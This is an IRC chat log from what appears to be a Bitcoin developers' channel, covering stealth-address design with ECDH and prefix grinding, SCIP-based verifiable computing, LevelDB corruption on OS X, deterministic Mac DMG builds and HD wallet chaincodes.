02:40 < gmaxwell> I'd give up all that in exchange for a non-problematic blinding... esp if blocksize is not infinite fees should also stop spam. But not that I think we have non-problematic binding.
02:40 * zooko too.
02:41 < Luke-Jr> SCIP could solve so many problems, that if I could be convinced it worked I'd be happy to depend on it :P
02:42 < Luke-Jr> maybe even could solve double spending. maybe.
02:42 < gmaxwell> Luke-Jr: well, that will just take time. It also will need to improve in performance before it solves many of them.
02:42 < gmaxwell> Nah, it doesn't prevent replay. I can't prove that I didn't seperately spin up another computing instance and do some computation twice.
02:42 < Luke-Jr> gmaxwell: will it? verifying one SCIP signature for the entire blockchain sounds nice XD
02:42 < Luke-Jr> gmaxwell: well, you could prove you delete the private key
then the question is can you prove you never copied it?
02:42 < petertodd> Luke-Jr: that's what the sales guys at amazon ec2 said as well
02:43 < petertodd> Luke-Jr: of course not
02:43 < realazthat> but you could make secure distributed cloud computing perhaps
02:43 < realazthat> I dunno if that is suggested anywhere
02:43 < realazthat> where people offer their computer time in exchange for bitcoins
02:44 < realazthat> all sorts of crazy ideas
02:44 < petertodd> realazthat: that's a long-standing problem with a whole bunch of efforts trying to solve it. Standard hardware and OS's just aren't up to the task
02:44 < realazthat> but SCIP can do it, no?
02:44 < petertodd> realazthat: TPM hardware is just too brittle
02:44 < zooko> Well, I'm not going to finish reading this chat log tonight...
02:44 < realazthat> I don't mean secret computing, just authenticated
02:44 < zooko> I'll leave it open in a browser tab...
02:45 < realazthat> ie. you can ask someone to do a job
02:45 < realazthat> they give you answer + signature
02:45 < petertodd> zooko: heh, it's deep, but hey, I did say "zooko's triangle" at one point in it :P
02:45 < realazthat> so you can make any problem verifyable
02:45 < petertodd> realazthat: yes, SCIP allows for that
02:45 < petertodd> realazthat: but you have to be very careful about what exactly you are saying the security is
02:46 < realazthat> so you can have people doing cloud computing
02:46 < realazthat> for things like protein folding etc.
02:46 < zooko> petertodd: cool!
02:46 < zooko> petertodd: we didn't speak at the conference.
02:46 < realazthat> in exchange for bitcoins
02:46 < gmaxwell> realazthat: they can monitor the computing though, it's not private when someone else is running it.
02:46 < realazthat> right
02:46 < realazthat> but public good projects don't care about that
02:46 < petertodd> zooko: oh, you were there? too bad
02:46 < gmaxwell> realazthat: they can
go conduct an election.
02:47 < zooko> I saw you arguing heatedly with PVessenes at the core developers huddle. I said to him that the obligations for accounting are not expressed at the level of the Bitcoin protocol, they are merely that you have to "be able to identify+match" customers and their transactions.
02:47 < realazthat> gmaxwell: I don't understand
02:48 < petertodd> I remember that... he really should have kept his mouth shut. Lots of people have taken that as the foundation being actively anti-privacy.
02:50 < gmaxwell> realazthat: conducting an election is obvious public good thing, and the integrity and confidentiality of the election is important.
02:51 < realazthat> ah ofc
02:51 < realazthat> I meant the famous public projects like SETI@home
02:51 < realazthat> and Folding@home
02:51 < realazthat> and other scientific projects like that
02:52 < realazthat> ofc there wouldn't be confidentiality
02:52 < realazthat> but integrity, yes
02:52 < realazthat> homomorphics stuff could do confidentiality perhaps, but AFAIK that is totally impractical ATM
02:53 < petertodd> realazthat: unlikely. SCIP has a pretty big speed penalty, big enough that the usual method of just running work units on more than one computer would be far faster in practice.
02:53 < realazthat> mmm
02:54 < realazthat> interestingly, if SCIP is somehow used for proof-of-work for mining or somesuch, there would be huge incentives to improve it :D
02:54 < petertodd> and/or break it
02:54 < realazthat> yes lol
02:54 < realazthat> but imagine dedicated SCIP hardware
02:55 < petertodd> dedicated hardware typically only makes sense for simple algorithms - I'd be surprised if SCIP qualified
02:55 < realazthat> well, it needs to run a specialized assembly, essentially a VM
02:55 < petertodd> it's a lot more complex than that...
02:55 < petertodd> but I could be wrong
02:55 < realazthat> I think it makes sense to implement the virtual architecture, and take the signing to another CPU or w/e
02:56 < realazthat> maybe
02:56 < realazthat> I look forward to the source codes :D
02:56 < petertodd> I think you need to accept that neither of us know enough to have any idea if that's possible. :)
02:56 < realazthat> end of august for phase 1
02:56 < petertodd> which august? :P
02:56 < realazthat> this august if things go as planned, I guess
02:56 * petertodd works at a 12 year old startup
02:56 < realazthat> lol
02:57 < realazthat> software engineering
02:57 < realazthat> fun
02:57 < realazthat> always ontime :D
02:57 < petertodd> some problems are hard, and just become harder when you try to solve them
02:57 < realazthat> yes
02:57 < realazthat> I am being optimistic
02:57 < realazthat> because I wanna experiment with the so many practical ideas
02:58 < realazthat> that would come to be if it were usable
02:58 < realazthat> mmm
02:58 < realazthat> how about this,
02:58 < petertodd> well, look at how the existence of the blockchain has spawned all sorts of clever ways to use that magical data strucutre
02:58 < petertodd> er... almost none of which are implemented
02:59 < realazthat> mmm
02:59 < realazthat> yeah
02:59 < realazthat> if you have something very interesting that is easy, tell me
02:59 < realazthat> I'll implement it :D
03:00 < realazthat> most of the things I heard were nice ideas, but not very practically applicable
03:00 < petertodd> I'm probably the world leading expert on how to sacrifice your Bitcoins (a rather dubious honor...) and I've done exactly one such sacrifice, and I did it by hand
03:00 < realazthat> unlike SCIP
03:00 < realazthat> haha
03:00 < petertodd> implementing stuff is a lot of work...
03:01 < realazthat> mmm
03:01 < realazthat> I have yet to find something really worth implementing though
03:01 < realazthat> ie. I've seen things that sound nice
03:01 < realazthat> but have no practical purpose in the near future
03:04 < realazthat> (if you do have some ideas that are practical, lay them on me)
03:05 < Luke-Jr> realazthat: any ideas? :P
03:05 < realazthat> well I still get to choose to do them or not lol
03:05 < realazthat> bite sized ideas preferable :D
03:06 < Luke-Jr> realazthat: https://gist.github.com/luke-jr/5409899
03:11 < realazthat> mmm
03:11 < realazthat> both interesting ideas hehe
03:11 < realazthat> so what does ctx accomplish though
03:11 < realazthat> saving space?
03:11 < Luke-Jr> saving blockchain space, lower fees, more privacy
03:12 < realazthat> ah yes
03:12 < realazthat> makes sense
03:12 < realazthat> I don't understand how it works exactly, but thats ok
13:00 < adam3us> petertodd: i think h(d,m,ctr) is enough. the main point of the determinism is to avoid relying on the rng. so its a kind of deterministic rng seeded with d built in sw so ou dont have to trust the OS nor support libraries + the idempotency fix
13:00 < adam3us> petertodd: but idempotency anyway still works if the prefix target is deterministic
13:01 < petertodd> adam3us: but remember my point about coinjoin: you don't know m at the point when you want to specify the address
13:01 < adam3us> petertodd: i see. didnt get you before
13:04 < petertodd> adam3us: the frustrating thing is that it'd be possible to wind up with everyone using stealth addresses, and all this effort being wasted when a simple marker would suffice :P
13:06 < adam3us> petertodd: yeah (i didnt think about stealth, just about changing). but i wonder if stealth has a problem: how does the sender know what prefix to put? i suppose the prefix is like leading bits from H(d*P) where P is the sender address? that would be safe as it requires d to indentify
13:06 < petertodd> adam3us: it's encoded in the address of course
13:07 < adam3us> petertodd: which address? sender, recipient base, or recipient randomized?
13:07 < petertodd> adam3us: the stealth address
13:07 < petertodd> adam3us: or more accurately, the scriptPubKey creation instructions making use of stealth
13:08 < adam3us> petertodd: well the stealth address becomes public after its spent, and so if the prefix of R is matching some bits from the S = dQ = zP if we call S the stealth address, then it becomes distingusihable after spend
13:09 < adam3us> petertodd: (which are hidden before spend because Saddr = H(S))
13:09 < petertodd> adam3us: huh? spent or not the derived one-time-only address is indistinguishable from any other random address modulo the prefix
13:10 < adam3us> petertodd: what i mean is spending reveals the pubkey hidden inside the address.
13:11 < petertodd> adam3us: prefixes would be on H(pubkey) or more likely H(scriptPubKey)
13:11 < petertodd> adam3us: only that is likely to be indexed for other purposes
13:11 < adam3us> petertodd: P is the senders pub key, Q is the recipients pub key, S is the stealth pub key. S=dP=d'Q where Q=dG and P=d'G, and Saddr=H(S) etc
13:13 < petertodd> adam3us: I don't see how that makes it distinguishable to an obverser who only knows P and Q
13:14 < nsh> what's the topic?
13:15 < petertodd> nsh: stealth addresses, address is public, but only the recipient knows what payments are made to them
13:15 < adam3us> petertodd: ok maybe i am confusing it; point is recipient scanning looks for sender pub key P, multiplies by d to get S=dP=d'Q.
13:15 < nsh> oh, interesting
13:16 < adam3us> petertodd: then he can ask for prefix of H(S)
13:16 < adam3us> petertodd: but how does he know d*d' he needs taht otherwise he has an unspendable addr
13:17 < petertodd> adam3us: no, you've got it backwards, recipient asks for all txs matching a specific prefix, and then for the matching transactions he scans
13:17 < adam3us> petertodd: how does the recipient know the prefix
13:17 < petertodd> adam3us: the recipient *specifies* the prefix
13:17 < adam3us> petertodd: how.. there is no comms channel
13:18 < adam3us> petertodd: the sender has only a compressed public key Q in QR form on a bizcad
13:18 < petertodd> adam3us: there doesn't have to be: the recipient specified it in conjunction with their pubkey
13:18 < petertodd> adam3us: the point is the sender is sending to a derived address, such that the address matches the prefix, and the recipient can calculate the privkey
13:18 < adam3us> petertodd: ok; and now everyone who he gives that bizcard to can also link his payments?
13:18 < adam3us> petertodd: (within the anonymity set of people with the same prefix)
13:19 < petertodd> adam3us: NO! because sender and recivers pubkey/seckey are combined with ECDH so the only parties who can calculate the shared secret are them
13:19 < petertodd> for any given sender/receiver pair there is exactly one shared secret, that only they know
13:21 < adam3us> petertodd: but more fundamentally how does the recipient know the private key for S. teh shared secret coming from k=H(dP)=H(d'Q) is not usable to find d'*d
13:21 < adam3us> petertodd: you need some message space to communicate , and further you dont want to give the recipient d' or he double spend race your payment
13:22 < petertodd> adam3us: the recipient knows their secret key, and the pubkey of the sender (it's in the scriptSig). The sender knows the recipients pubkey, and their seckey. Thus they both arrive at shared secret x, and that can be combined similar to BIP32 to form a pubkey that only the receiver has the seckey too.
13:22 < adam3us> petertodd: not trying to be obtuse btw - i want this to work too.
13:22 < petertodd> adam3us: heh
13:23 < adam3us> petertodd: so specifically sender pub key is P, sender private key is e, P=eG; recipient base key is Q, recipient private key is d, Q=dQ;
13:24 < petertodd> adam3us: right, so x=eQ=dP, x is the shared secret
13:24 < adam3us> petertodd: now DH says that P & Q can negotiate a shared secret as dP=eQ=d*eG=e*dG and often it is hashed to reove bias
13:24 < petertodd> adam3us: right
13:24 < adam3us> petertodd: ok now what can they do with this secret... they have to delegate to Q some way to be able to compute a private key
13:25 < petertodd> adam3us: well, this secret could be hashed and used as the private key for the one-time-only address
13:25 < adam3us> petertodd: ok say S=xQ=x*d*G
13:25 < petertodd> adam3us: more sophisticated is to do the BIP32 trick to derive a pubkey using that shared secret as a nonce
13:26 < petertodd> adam3us: now only the recipient can spend the funds and we're all good
13:26 < adam3us> petertodd: and yes actually x=H(eQ)=H(dP)
13:26 < petertodd> adam3us: right
13:27 < adam3us> petertodd: alrighty. i am glossing over BIP 32 HDness but yes. they can treat x as a chain code if they want.
13:27 < petertodd> adam3us: yup
13:27 < petertodd> adam3us: and you can use a nonce to grind until the resulting address has the right prefix
13:28 < adam3us> petertodd: grind address or signature? either could be done
13:28 < petertodd> adam3us: no, it has to be grinding the address because we can only count on address indexes existing
13:28 < adam3us> petertodd: ok its good for existing infra agreed
13:29 < petertodd> adam3us: well, infrastructure that can be reasonably expected to exist in the near future :p
13:30 < adam3us> petertodd: nevemind; call me a spherical cow. so point is now the prefix is linkable modulo overlap if it small enough
13:30 < petertodd> adam3us: yeah, e.g. if it's an 8-bit prefix your anonymity set is 1/256th of all addresses
13:31 < adam3us> petertodd: and i guess its not going to be too big becauase you're grinding it through EC operations like vanity address levels of cost
13:31 < petertodd> adam3us: yup, and the *sender* needs to do it which kinda sucks
13:31 < adam3us> petertodd: and the generator maybe a smart phone
13:32 < petertodd> adam3us: you can be a bit clever, and abuse multisignature w/ fake pubkeys, but that's the best you can do
13:32 < petertodd> adam3us: (that makes the inner-loop SHA256)
13:33 < adam3us> petertodd: yes or maybe p2sh with random unused value on stack
13:33 < petertodd> adam3us: well, that's no longer a standard transaction format
13:33 < adam3us> petertodd: p2sh restricted that much?
13:33 < petertodd> adam3us: might as well just do a marker explicitly
13:34 < petertodd> adam3us: that too... IsStandard() is applied to P2SH inner scriptPubKeys
13:35 < adam3us> petertodd: i dont think it matter so much actually to hide that it is a sender generated addr. its not like one use addresses are not allowed or that there is any stigma to using them
13:35 < adam3us> petertodd: so i view the encoding as more a way to do it without introducing a new format
13:35 < adam3us> petertodd: and without requiring a new index
13:35 < petertodd> adam3us: with regard to coinjoin you're better if you stick to something standard
13:36 < petertodd> adam3us: a subtle point with that too is you probably want to make your change look like a stealth payment if you are distinguishable
13:37 <@gmaxwell> 07:50 < adam3us> btw the card thing P(52,26) is conveniently > 2^128. course then you have to keep them from getting accidentally shuffled
13:37 <@gmaxwell> ^ the case where you care about the permutation is kinda lame because you'd have to capture the data twice.
13:38 <@gmaxwell> if you only care about assignment, you walk into a drug store, buy a cheap pack of cards, shuffle and split and depart.. then later capture the data from your cards.
13:38 <@gmaxwell> If you exchange via a permutation you have to shuffle and digitize without breaking the permutation.
13:40 < maaku> gmaxwell: slide the deck on a flat surface
13:41 < adam3us> gmaxwell: yes. well also you dont know the other guys permutation, unless you do some card game/trick on a table to co-sort them
13:41 < nsh> hm
13:41 <@gmaxwell> right but the split method (where you only gain bits from the assignment of which person got the card) doesn't care about the permutation.
13:42 < adam3us> petertodd: so full nodes are no problem anyway. 1 byte was my guess for 'bloom bait' also. is that small enough for SPV efficiency?
13:42 <@gmaxwell> You just take the card deck(s) shuffle, and split between the two people. No prep required, and no issues with accidentally reordering them.. though you only get on the order of 50 bits (1 deck) or 100 bits (2 decks).
13:43 < petertodd> gmaxwell: it's interesting how for cards that have a top and a bottom you could shuffle their orientations, draw a line with a marker across one side, and then you have a 52-bit secret in a card deck that's highly subtle
13:44 < petertodd> adam3us: 1/256th is ~4KB/block, not a big deal at all
13:44 < adam3us> petertodd: yeah but say scan a few weeks worth.
19:06 < warren> the mac builds are 32bit
19:06 < sipa> ah
19:06 < gavinandresen> I was running a bitcoind compiled with clang when I got corruption
19:06 < warren> gavinandresen: 32bit or 64bit?
19:06 < phantomcircuit> personally i suspect there is an issue with the ioctl sync function
19:06 < phantomcircuit> but who really knows
19:12 < Luke-Jr> cfields: have you published any of the Mac stuff yet?
19:17 < cfields> Luke-Jr: i'm just now starting to get it packaged up. It looks about like this right now: http://www.digitalmediatree.com/library/image/12/beautiful_mind_2.JPG
19:17 < cfields> should have something presentable in a few days i'd think
19:21 < cfields> it will initially be missing some of the dmg fluff. compression, background images, drag+drop, etc. But i'll publish before tackling those in the hopes of finding some help along the way
19:27 < warren> cfields: is the plist working in your build?
19:27 < cfields> basic, not fancy
19:27 < sipa> plist?
19:28 < cfields> which is why drag+drop and background images aren't hooked up yet
19:28 < cfields> we'll have to port that stuff
19:30 < cfields> sipa: i assume he was alluding to the 'fancy' dmg generation options. customizations for how the dmg should present itself when opened
19:38 < Luke-Jr> wtf, why could callq ever segfault?
19:40 < warren> cfields: no
19:40 < warren> cfields: the context menu on the dock when you right click
19:44 < cfields> warren: hmm, no. tbh i'm not sure where that comes from?
19:46 < gavinandresen> warren: clang 64-bit. All of the speculating "maybe it is this, maybe that, lets try putting a full-sync here" is unlikely to be productive. In my humble opinion, somebody who knows a lot about the OSX filesystem needs to instrument leveldb (maybe stream a log of operations over-the-network to a second logging system???) and either figure out how
the corruption could happen theoretically or capture an actual case of corrupti
19:48 < gavinandresen> (I'm hoping somebody who knows a lot more about filesystems than I do will tell me why I'm wrong, and what actually needs to be done is to run the FroBaz Filesystem Widgetizer to catpure all low-level disk activity and analyze it with the FileWizPro doo-hickey)
19:49 < gavinandresen> (
after installing some hardware on the EIEIO hardware bus)
19:50 < cfields> gavinandresen: i was discussing with warren a bit yesterday. Seems to me it would be a reasonable first step to throw an assert() and output some useful data (like what the actual/expected read data was) in the case of a crc mismatch
19:50 < cfields> or is the read data completely unhelpful, and only the failed write is interesting you think?
19:51 < gavinandresen> dunno, haven't thought about it.
19:52 < warren> gavinandresen: I'm convinced that the wild guesses earlier (fsync blah) actually did fix things, the errors we have now are more consistent.
19:52 < gavinandresen> warren: okey dokey. Just don't forget that we're pattern-seeking monkeys....
19:53 < cfields> warren: i just compared my linux-built dmg to mainline bitcoin-qt. They seem to have the same options/actions
19:54 < warren> cfields: great
19:54 < cfields> afaik dock handling is done in code. I'm not aware of anything to mess with in packaging
19:54 < warren> there's python scripts that fiddles with the plist stuff
19:55 < cfields> other than maybe ensuring the icon finds its way to the right place
19:55 < cfields> yea, i hacked those up to make em work in linux
19:55 < warren> ooh, I'm intersted in that
19:58 < cfields> ok
19:59 < cfields> i'm off for tonight. I've got the rest of the week to spend on this, though. And I'll get the qt updates in somewhere in there as well.
--- Log closed Wed Nov 20 00:00:39 2013
--- Log opened Wed Nov 20 00:00:39 2013
10:06 < adam3us> hmm HD wallets, armory use of the concept, does the chaincode of an offline wallet get copied to the watch only online wallet?
10:07 < adam3us> ie if someone has a copy of the root key, is that enough to recovery the wallet and access funds if they also got all the info out of the online wallet?
10:18 < sipa> do you mean BIP32, or armory's deterministic wallets?
10:18 < sipa> or did armory already adopt BIP32?
10:30 < adam3us> hmm i am not sure - i thought because alan had commented on bip 32 and been involved with it that was the same thing
10:33 < sipa> they both use a 'chaincode'
10:46 < adam3us> i am wondering if the online wallet is a sub-wallet or shares the same chain code
13:07 < cfields> anyone happen to be around and running windows?
13:49 < BlueMatt> hah
13:49 < BlueMatt> windows?
13:52 < cfields> heh, exactly. hacking on win32, but i have to trust wine to verify. in this case i really can't
14:01 < BlueMatt> this is what kvm is for
14:18 < phantomcircuit> BlueMatt, yeah but who has a retail license to install with anymore?
14:18 < phantomcircuit> i still use windows xp since its the only thing i have a disk for...
14:19 < BlueMatt> university licenses :)
15:20 < warren> I'm trying to figure out a quick hack (for modeling purposes only) that removes all UTXO that is 1-satoshi in value after reindexing to X height.
16:10 < BlueMatt> warren: try using the new drop-unspendable code and replace the unspendable check with 1-satoshi?
16:10 < BlueMatt> (and then short-circuit the return falses for now-invalid txn?)
16:11 < warren> BlueMatt: tried that, that only works during reindex, it works until I hit a block where someone spent a 1-satoshi (which is extremely rare in litecoin)
16:12 < warren> BlueMatt: I could find the small number of spent 1-satoshi txo and whitelist them to allow reindex to succeed.
16:12 < warren> this isn't meant to be committed, just testing stuff
16:12 < BlueMatt> or just consider all unknown-txin to be 1-satoshi and all spends of them correct
16:13 < warren> hah
16:13 < BlueMatt> if its just for analysis, why not
16:13 < warren> where's the code for that part?
16:13 < BlueMatt> in ConnectInputs?
16:13 < warren> looking
17:07 < warren> BlueMatt: back from lunch. it appears I need to construct a fake CTxOut
17:08 < warren> oh, screw it, just consider everything valid
17:09 < michagogo|cloud> 04:41:28 <warren> I'm not sure why people downvoted the bounty thread.
17:09 < michagogo|cloud> Unless the total score is negative, there may be no downvotes -- reddit adds random equal numbers of upvotes and downvotes to avoid gaming the system
17:18 < michagogo|cloud> 23:41:42 <cfields> Luke-Jr: unfortunately, the cleanest approach to the next step is to begin modding the hfs+ kernel module. And at that point, I don't think it's really worth it
17:18 < michagogo|cloud> Am I wrong, or would that break gitian builds with LXC? (IIRC, some trouble we were having had to do with a kernel module Wine tried to install or something like that?)
17:18 < cfields> michagogo|cloud: nm that, i got it working
17:18 < michagogo|cloud> Oh, awesome
17:19 < michagogo|cloud> (I'm still at Wednesday morning, midnight UTC+2 in the backlog)
17:24 < michagogo|cloud> 00:31:41 <cfields> as an osx user (i hate admitting that), any download that's not a dmg gets on my nerves
17:24 < michagogo|cloud> 00:31:48 <cfields> unless it's a .pkg for good reason
17:24 < michagogo|cloud> I'm not a Mac user, but I've been told (somewhere, don't remember exactly -- I think it was in the context of bitcoin, so maybe #bitcoin-build?) that among Mac users, any non-.dmg software downloads are treated with extreme (or at least much) suspicion
17:24 < cfields> michagogo|cloud: keep reading ;)
17:25 < cfields> deterministic dmg's are working
17:25 < michagogo|cloud> cfields: Yeah, I saw that :-)
17:26 < cfields> but yea, i agree with the above. If it's not a dmg, it's usually a pkg because it requires root (like an sdk). If it's neither, it usually goes in the trash
17:26 < cfields> for me, anyway
17:26 < adam3us> sipa: about bip32 vs armory alan says its not a sub-wallet the same chain code is in the online watching (read only) wallet
17:26 < adam3us> sipa: so its not hierarchical, just using public derivation
17:26 < michagogo|cloud> cfields: Actually, I've seen even pkgs be distributed as dmgs
17:27 < michagogo|cloud> (I have used Macs some, just not a full-time user)
17:30 < cfields> michagogo|cloud: yea, that's reasonable too
17:31 < michagogo|cloud> cfields: So you managed to get bare-bones deterministic DMG working?
17:31 < michagogo|cloud> (bare-bones, meaning without all the fancy dmg features, AIUI?)
17:31 < cfields> yep, passes basic sanity checks anyway
17:32 < michagogo|cloud> That's great :-)
17:32 < michagogo|cloud> Nice work.
17:32 < cfields> thanks. but hold that until there's some proof ;)
17:33 < warren> hmm, what part is signed to distribute in Apple's app store for mac os x?
17:33 < warren> or would it be rejected like they rejected bitcoin apps from the iphone?
17:34 < cfields> the dmg is signed, i believe
17:34 < cfields> any signatue would break determinism ofc
17:34 < cfields> rather.. provable determinism
17:34 < warren> gavinandresen: ever considered submitting Bitcoin to the MacOS X app store?
17:36 < warren> cfields: for developers and power users determinism is great, the only way to prove safety
17:36 < michagogo|cloud> cfields: MAS uses dmg?
17:36 < warren> cfields: but or end users who mess up downloads ... MITM ... DNS redirection ... an app store